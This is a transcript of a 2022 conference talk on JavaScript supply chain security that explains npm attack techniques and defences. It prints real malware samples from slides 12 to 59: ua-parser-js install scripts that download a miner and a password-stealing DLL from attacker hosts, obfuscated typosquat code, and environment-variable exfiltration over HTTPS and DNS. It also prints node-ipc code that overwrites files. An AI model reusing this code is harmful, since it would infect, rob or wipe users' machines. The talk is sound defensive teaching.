$30 off During Our Annual Pro Sale. View Details »

The State of JavaScript Supply Chain Security in 2022

The State of JavaScript Supply Chain Security in 2022

How do you know that you can trust your JavaScript dependencies? Software supply chain attacks have exploded over 2021 and they’re only accelerating in 2022 and beyond. We’ll dive into examples of recent supply chain attacks and what concrete steps we can take as an ecosystem to protect ourselves from this emerging threat.

Try Socket at: https://socket.dev

Feross Aboukhadijeh

June 08, 2022
Tweet

More Decks by Feross Aboukhadijeh

Other Decks in Technology

Transcript

  1. The State of JavaScript
    Supply Chain Security
    in 2022
    OpenJS World 2022

    View Slide

  2. Feross Aboukhadijeh
    • Founder and CEO at Socket (socket.dev)
    • Stanford instructor for Web Security
    • Author of 100+ npm packages
    • StandardJS, a popular community
    JavaScript style guide
    • WebTorrent, the rst BitTorrent client
    that works in the browser
    • Past
    • Board member at Node.js Foundation
    • Consultant for “Silicon Valley” TV
    show
    !

    View Slide

  3. Agenda
    • Story of a supply chain a ack (with a ack code!)
    • Why is this happening now?
    • How does a supply chain a ack work?
    • How can you protect your app?
    socket.dev 3

    View Slide

  4. Let me tell you a story...
    socket.dev 4

    View Slide

  5. View Slide

  6. 10 years of steady work
    socket.dev 6

    View Slide

  7. 7,000,000 downloads per week
    3,000,000 GitHub repos
    socket.dev 7

    View Slide

  8. Let me tell you a story...
    socket.dev 8

    View Slide

  9. On a Russian hacking forum
    Posted: October 5, 2021
    I sell a development account on npmjs.com, more than 7 million installations
    every week, more than 1000 others are dependent on this.
    There is no 2FA on the account. Login and password access. The password is
    enough to change your email.
    Suitable for distributing installations, miners, creating a botnet
    Start $10k
    Step $1k
    Blitz $20k
    socket.dev 9

    View Slide

  10. Anatomy of a so ware supply chain a ack
    • Started at Friday, October 22, 2021 at 12:15pm GMT
    • 3 malicious versions of ua-parser-js published
    • 0.7.29
    • 0.8.0
    • 1.0.0
    socket.dev 10

    View Slide

  11. {
    "title": "UAParser.js",
    "name": "ua-parser-js",
    "version": "0.7.29",
    "author": "Faisal Salman (http://faisalman.com)",
    "description": "Lightweight JavaScript-based user-agent string parser",
    "main": "src/ua-parser.js",
    "scripts": {
    "preinstall": "start /B node preinstall.js & node preinstall.js",
    "build": "uglifyjs src/ua-parser.js ...",
    "test": "jshint src/ua-parser.js && mocha -R nyan test/test.js",
    "test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js"
    }
    }
    socket.dev 11

    View Slide

  12. const { exec } = require("child_process");
    function terminalLinux(){
    exec("/bin/bash preinstall.sh", (error, stdout, stderr) => {
    if (error) {
    console.log(`error: ${error.message}`);
    return;
    }
    if (stderr) {
    console.log(`stderr: ${stderr}`);
    return;
    }
    console.log(`stdout: ${stdout}`);
    });
    }
    var opsys = process.platform;
    if (opsys == "darwin") {
    opsys = "MacOS";
    } else if (opsys == "win32" || opsys == "win64") {
    opsys = "Windows";
    const { spawn } = require('child_process');
    const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
    } else if (opsys == "linux") {
    opsys = "Linux";
    terminalLinux();
    }

    View Slide

  13. IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
    if [ -z "$IP" ]
    then
    var=$(pgrep jsextension)
    if [ -z "$var" ]
    then
    curl http://159.148.186.228/download/jsextension -o jsextension
    if [ ! -f jsextension ]
    then
    wget http://159.148.186.228/download/jsextension -O jsextension
    fi
    chmod +x jsextension
    ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u \
    --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
    fi
    fi
    socket.dev 13

    View Slide

  14. @echo off
    curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe
    if not exist jsextension.exe (
    wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe
    )
    if not exist jsextension.exe (
    certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe
    )
    curl https://citationsherbe.at/sdd.dll -o create.dll
    if not exist create.dll (
    wget https://citationsherbe.at/sdd.dll -O create.dll
    )
    if not exist create.dll (
    certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll
    )
    set exe_1=jsextension.exe
    set "count_1=0"
    >tasklist.temp (
    tasklist /NH /FI "IMAGENAME eq %exe_1%"
    )
    for /f %%x in (tasklist.temp) do (
    if "%%x" EQU "%exe_1%" set /a count_1+=1
    )
    if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u \
    --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll)
    del tasklist.temp

    View Slide

  15. Steals passwords from 100+ programs and the Windows
    credential manager
    socket.dev 15

    View Slide

  16. A ermath
    socket.dev 16

    View Slide

  17. This is just the tip of the iceberg
    180 packages removed for security reasons
    in the last 30 days1
    1 h ps://socket.dev/npm/category/removed
    socket.dev 17

    View Slide

  18. Prominent examples
    • Jan 2022: Maintainer of 'colors' and 'faker' packages adds code to
    DoS applications in protest of big corporations using open source but
    not contributing anything back to the community.
    • March 2022: 'node-ipc' adds code to delete data of users it suspects
    are Russian or Belarusian. Applications using the package overwrite
    Russian users' les with a '

    ' emoji.
    • March-April 2022: Maintainers of 'event-source-poly ll', 'es5-ext', and
    'styled-components' add anti-war messages to their packages. File
    creation and redirects were less destructive but still unwanted by
    most users.
    socket.dev 18

    View Slide

  19. Why is this
    happening now?
    socket.dev 19

    View Slide

  20. 4 reasons
    socket.dev 20

    View Slide

  21. 1.
    Open source has won
    socket.dev 21

    View Slide

  22. 90% of an app's code
    comes from open source
    socket.dev 22

    View Slide

  23. 2.
    The way we write so ware has
    changed
    socket.dev 23

    View Slide

  24. Lots of transitive dependencies
    socket.dev 24

    View Slide

  25. Discord
    Let's look at just one example, Discord.3
    • 19,462 total packages
    • 381,118 contributors
    • 206 countries
    3 h ps://octoverse.github.com/sustainable-communities/
    socket.dev 25

    View Slide

  26. "Installing an average npm package introduces
    an implicit trust on 79 third-party packages and
    39 maintainers, creating a surprisingly large
    a ack surface"2
    2 Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel
    socket.dev 26

    View Slide

  27. webpack, unpacked
    socket.dev 27

    View Slide

  28. 3.
    No one reads the code
    socket.dev 28

    View Slide

  29. We download code
    from the internet
    wri en by unknown individuals
    that we haven't read
    that we execute
    with full permissions
    on our laptops and servers
    where we keep our most important data
    socket.dev 29

    View Slide

  30. It's a miracle that this system works!
    socket.dev 30

    View Slide

  31. socket.dev 31

    View Slide

  32. A ackers o en publish di erent
    code to npm and GitHub
    socket.dev 32

    View Slide

  33. "Given enough eyeballs, all bugs are shallow"
    — Linus Torvalds
    socket.dev 33

    View Slide

  34. "On average, a malicious package is available
    for 209 days before being publicly reported"4
    4 Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier
    socket.dev 34

    View Slide

  35. "20% of [...] malware persist in package
    managers for over 400 days and have more
    than 1K downloads"5
    5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams
    socket.dev 35

    View Slide

  36. How does a supply
    chain a ack actually
    work?
    socket.dev 36

    View Slide

  37. A acker TTPs
    (tactics, techniques, and procedures)
    1. Hijacked packages
    2. Typosqua ing
    3. Dependency confusion
    4. Install scripts
    5. Data ex ltration
    6. Data destruction or ransom
    socket.dev 37

    View Slide

  38. 1.
    Hijacked packages
    socket.dev 38

    View Slide

  39. socket.dev 39

    View Slide

  40. Packages get hijacked because
    • Maintainers choose weak passwords (ua-parser-js)
    • Maintainers give access to malicious actors (event-stream)
    • Maintainers become malicious actors (colors.js, faker.js)
    • Maintainers use their packages to protest (node-ipc)
    • Maintainers get malware on their laptops
    • npm doesn't enforce 2FA (though this is nally improving)
    socket.dev 40

    View Slide

  41. 2.
    Typosqua ing
    socket.dev 41

    View Slide

  42. noblox.js-proxied
    noblox.js-proxy
    socket.dev 42

    View Slide

  43. noblox.js-proxied <– real
    noblox.js-proxy <– fake!
    socket.dev 43

    View Slide

  44. {
    "name": "noblox.js-proxy",
    "version": "1.0.5",
    "description": "A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)",
    "main": "lib/index.js",
    "types": "typings/index.d.ts",
    "scripts": {
    "docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs",
    "lint": "eslint lib/",
    "test": "jest",
    "postinstall": "node postinstall.js"
    },
    "repository": {
    "type": "git",
    "url": "https://github.com/JxySerr1/noblox.js-proxy.git"
    }
    }
    socket.dev 44

    View Slide

  45. (function(_0x249d1f,_0x2b8f5b){function _0x4c7bcc(_0xab39a4,_0x4f1570,_0x2f32bf,
    _0x4d98f7,_0x52a9ec){return _0x1efa(_0x52a9ec-0x379,_0x4d98f7);}function _0xfe08c3
    (_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1){return _0x1efa(_0x3d9d3c- -0x30,
    _0x217de2);}function _0x5dee13(_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2)
    {return _0x1efa(_0x410ef5- -0x6c,_0x3daba2);}const _0x40a390=_0x249d1f();
    function _0x4ebfb2(_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536)
    {return _0x1efa(_0x180281-0x29c,_0x29e008);}function _0x1d9570(_0xcf31ba,_0x24a2a8,
    _0x1361be,_0x2b2b01,_0x2b71bd)
    {return _0x1efa(_0xcf31ba-0x357,_0x24a2a8);}while(!![]){try{const _0xe15807=
    -parseInt(_0x4ebfb2(0x718,0x638,'12Eh',0x6f0,0x6f6))/(0x1e27+-0x2ac+-0x1b7a)
    +parseInt(_0x4c7bcc(0x6d5,0x713,0x72c,'JXxJ',0x644))/(0x15*-0x16e+-0x19c4+0x37cc)
    +-parseInt(_0x4c7bcc(0x68d,0x788,0x86c,'JJ[O',0x754))/(-0x89e+0x2*-0x928+-0xb*-0x273)
    *(-parseInt(_0x4ebfb2(0x64f,0x62a,'$53b',0x530,0x55f))/(-0x2525+0x7c0+-0x1*-0x1d69))
    +-parseInt(_0x4c7bcc(0x7d6,0x65e,0x7e5,'tOk*',0x729))/(0xc7d+0x7cc*-0x1+0x1*-0x4ac)
    +-parseInt(_0x4ebfb2(0x544,0x602,'!qJ9',0x565,0x6c2))/(-0x120e+0x1b1*-0x17+0x1f7*0x1d)
    +parseInt(_0xfe08c3(0x359,0x28a,'igej',0x404,0x3e9))/(0x163*-0x8+0x345+0x192*0x5)
    +-parseInt(_0x4ebfb2(0x40f,0x519,'!@70',0x4f5,0x5a2))/(0x1*-0x977+-0x15a+0xad9);
    if(_0xe15807===_0x2b8f5b)break;else _0x40a390['push'](_0x40a390['shift']());}
    catch(_0xdc6a7c){_0x40a390['push'](_0x40a390['shift']());}}}(_0x6450,-0x4f0c0+
    0x260b+0x29*0x4445));const _0x206d7b=(function(){function _0x2debc5(_0x482afc,
    _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a){return _0x1efa(_0x18ac59- -0x3d1,_0x17d73a);}
    socket.dev 45

    View Slide

  46. 3.
    Dependency confusion
    socket.dev 46

    View Slide

  47. • Yahoo
    • yahoo-react-input
    • yahoo-react-formsy-input
    • EURid (registry manager for EU)
    • eurid_cloudflare
    • 18F (US Federal agency)
    • 18f-dashboard
    • Palantir (government contractor)
    • eslint-config-dev-palantir
    • DuckDuckGo (search engine)
    • duckduckgo-styles
    • Shippo (shipping company)
    • shippo-frontend
    socket.dev 47

    View Slide

  48. • Wix (website builder)
    • wix-media-manager-backend
    • wix-marketing-backend
    • wix-events-backend
    • wix-chat-backend
    • Unity (game engine)
    • com.unity.ide.vscode
    • com.unity.package-manager-ui
    • com.unity.modules.ai
    • com.unity.modules.androidjni
    • GrubHub (food delivery)
    • @grubhubprod/umami-library
    • @grubhubprod/order-taking-client-sdk
    • @grubhubprod/mochi
    • @grubhubprod/chiri
    socket.dev 48

    View Slide

  49. 4.
    Install scripts
    socket.dev 49

    View Slide

  50. Most malware is in install scripts
    socket.dev 50

    View Slide

  51. "We found 93.9% [...] of malicious packages had
    at least one install script, indicating that
    malicious a ackers use install scripts
    frequently"5
    5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams
    socket.dev 51

    View Slide

  52. {
    "name": "",
    "version": "9998.9999.2",
    "description": "...",
    "main": "index.js",
    "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "node dns.js | node index.js | node specific-fields.js"
    },
    "files": ["specific-fields.js","index.js","dns.js"],
    "author": "",
    "license": "ISC"
    }
    socket.dev 52

    View Slide

  53. 5.
    Data ex ltration
    socket.dev 53

    View Slide

  54. {
    "name": "",
    "version": "9998.9999.2",
    "description": "...",
    "main": "index.js",
    "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "node dns.js | node index.js | node specific-fields.js"
    },
    "files": ["specific-fields.js","index.js","dns.js"],
    "author": "",
    "license": "ISC"
    }
    socket.dev 54

    View Slide

  55. const http = require('https');
    req = http.request({
    host: '34.195.72.180',
    path: '/',
    method: 'POST',
    headers : { host : '411c316239cf14afaa1f37bbc5666207.m.pipedream.net',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36' }
    }).on('error', function(err) {
    });
    req.write(Buffer.from(JSON.stringify(process.env)).toString('base64'));
    req.end();
    socket.dev 55

    View Slide

  56. var { Resolver } = require('dns');
    var zlib = require('zlib');
    var resolver = new Resolver();
    function splitString(string, size) {
    var re = new RegExp('.{1,' + size + '}', 'g');
    return string.match(re);
    }
    resolver.setServers(["165.232.68.239"]);
    var d = process.env || {};
    var data = redactedForBrevity()
    var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex');
    var ch = splitString(encData, 60);
    var dt = Date.now();
    for (var i = 0; i < ch.length; i++) {
    const domain = ['l' + dt, i + 1, ch.length, ch[i]].join('.');
    resolver.resolve4(domain, function (err) {
    });
    }
    socket.dev 56

    View Slide

  57. 6.
    Data destruction or ransom
    (e.g. peacenotwar, node-ipc)
    socket.dev 57

    View Slide

  58. var import_path = __toModule(require("path"));
    var import_fs3 = __toModule(require("fs"));
    var import_https = __toModule(require("https"));
    setTimeout(function() {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
    return;
    }
    const n = Buffer.from"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
    import_https.default.get(n.toString("utf8"), function(t2) {
    t2.on("data", function(t3) {
    const n2 = Buffer.from("Li8=", "base64");
    const o2 = Buffer.from("Li4v", "base64");
    const r = Buffer.from("Li4vLi4v", "base64");
    const f = Buffer.from("Lw==", "base64");
    const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
    const e = Buffer.from("cnVzc2lh", "base64");
    const i = Buffer.from("YmVsYXJ1cw==", "base64");
    try {
    const s = JSON.parse(t3.toString("utf8"));
    const u2 = s[c.toString("utf8")].toLowerCase();
    const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
    if (a2) {
    h(n2.toString("utf8"));
    h(o2.toString("utf8"));
    h(r.toString("utf8"));
    h(f.toString("utf8"));
    }
    } catch (t4) {
    }
    });
    });
    }, Math.ceil(Math.random() * 1e3));
    socket.dev 58

    View Slide

  59. async function h(n = "", o2 = "") {
    if (!import_fs3.default.existsSync(n)) {
    return;
    }
    let r = [];
    try {
    r = import_fs3.default.readdirSync(n);
    } catch (t) {
    }
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
    const i = import_path.default.join(n, r[e]);
    let t = null;
    try {
    t = import_fs3.default.lstatSync(i);
    } catch (t2) {
    continue;
    }
    if (t.isDirectory()) {
    const s = h(i, o2);
    s.length > 0 ? f.push(...s) : null;
    } else if (i.indexOf(o2) >= 0) {
    try {
    import_fs3.default.writeFile(i, c.toString("utf8"), function() {
    });
    } catch (t2) {
    }
    }
    }
    return f;
    }
    var ssl = true;
    socket.dev 59

    View Slide

  60. How can you protect
    your app?
    socket.dev 60

    View Slide

  61. First, what won't work
    socket.dev 61

    View Slide

  62. Vulnerability scanning is a
    red herring
    socket.dev 62

    View Slide

  63. Vulnerabilities vs. Supply chain A acks

    Vulnerabilities are accidentally introduced by an open
    source maintainer. It is sometimes okay to ship a vulnerability
    to production if it is low impact.

    Supply chain a acks are intentionally introduced by an
    a acker. It is never okay to ship malware to production. You
    must catch it before you install it or depend on it.
    socket.dev 63

    View Slide

  64. A vulnerability scanner will not catch
    the next supply chain a ack
    socket.dev 64

    View Slide

  65. How can you protect
    your app?
    socket.dev 65

    View Slide

  66. 1.
    Support open source maintainers
    socket.dev 66

    View Slide

  67. "23% of open source projects have only one
    developer contributing the bulk of code. 94% of
    the projects have fewer than 10 developers
    accounting for more than 90% of the lines of
    code."6
    6 Linux Foundation, Census II
    socket.dev 67

    View Slide

  68. 2.
    Change how you think about
    dependencies
    socket.dev 68

    View Slide

  69. If you ship code to production,
    you are responsible for it
    socket.dev 69

    View Slide

  70. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
    KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
    WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
    OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
    OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
    socket.dev 70

    View Slide

  71. 3.
    Update dependencies at the right
    cadence
    socket.dev 71

    View Slide

  72. socket.dev 72

    View Slide

  73. socket.dev 73

    View Slide

  74. socket.dev 74

    View Slide

  75. socket.dev 75

    View Slide

  76. socket.dev 76

    View Slide

  77. Tradeo s, no perfect solution
    socket.dev 77

    View Slide

  78. 4.
    Dig deeper before choosing a
    dependency
    socket.dev 78

    View Slide

  79. socket.dev 79

    View Slide

  80. socket.dev 80

    View Slide

  81. socket.dev 81

    View Slide

  82. socket.dev 82

    View Slide

  83. Standard dependency checklist


    Gets the job done?


    Has an open source license?


    Has good docs?


    Has lots of downloads and GitHub stars?


    Has recent commits?


    Has types?


    Has tests?
    socket.dev 83

    View Slide

  84. 2022 dependency checklist


    Has an install script?


    Has native code?


    Talks to the network?


    Runs shell commands?


    Reads environment variables?


    Gathers telemetry (i.e. phones home)?


    Contains obfuscated code?
    socket.dev 84

    View Slide

  85. socket.dev 85

    View Slide

  86. View Slide

  87. What about a package doing
    something sketchy?
    socket.dev 87

    View Slide

  88. View Slide

  89. View Slide

  90. What about malware?
    socket.dev 90

    View Slide

  91. View Slide

  92. View Slide

  93. 5.
    Monitor dependency changes with
    automation
    socket.dev 93

    View Slide

  94. Monitor PRs for bad dependencies
    • Use static analysis to audit every dependency
    • Detect privileged API use, obfuscated code, etc.
    • Manually audit any package that is suspicious
    • Put security information directly in PRs so developers can
    see it and act on it
    socket.dev 94

    View Slide

  95. socket.dev 95

    View Slide

  96. socket.dev 96

    View Slide

  97. View Slide

  98. 6.
    Improve JavaScript, Node.js, and
    npm
    socket.dev 98

    View Slide

  99. JavaScript Security Wishlist
    1. Allow maintainers to suppress vulnerability warnings in
    dependencies
    2. Deno-style process permissions (--allow-net)
    3. Per-package permissions (SES, ES Realms, Compartments,
    --experimental-policy)
    socket.dev 99

    View Slide

  100. Thanks!
    twi er.com/feross
    [email protected]
    socket.dev
    We're hiring!
    socket.dev 100

    View Slide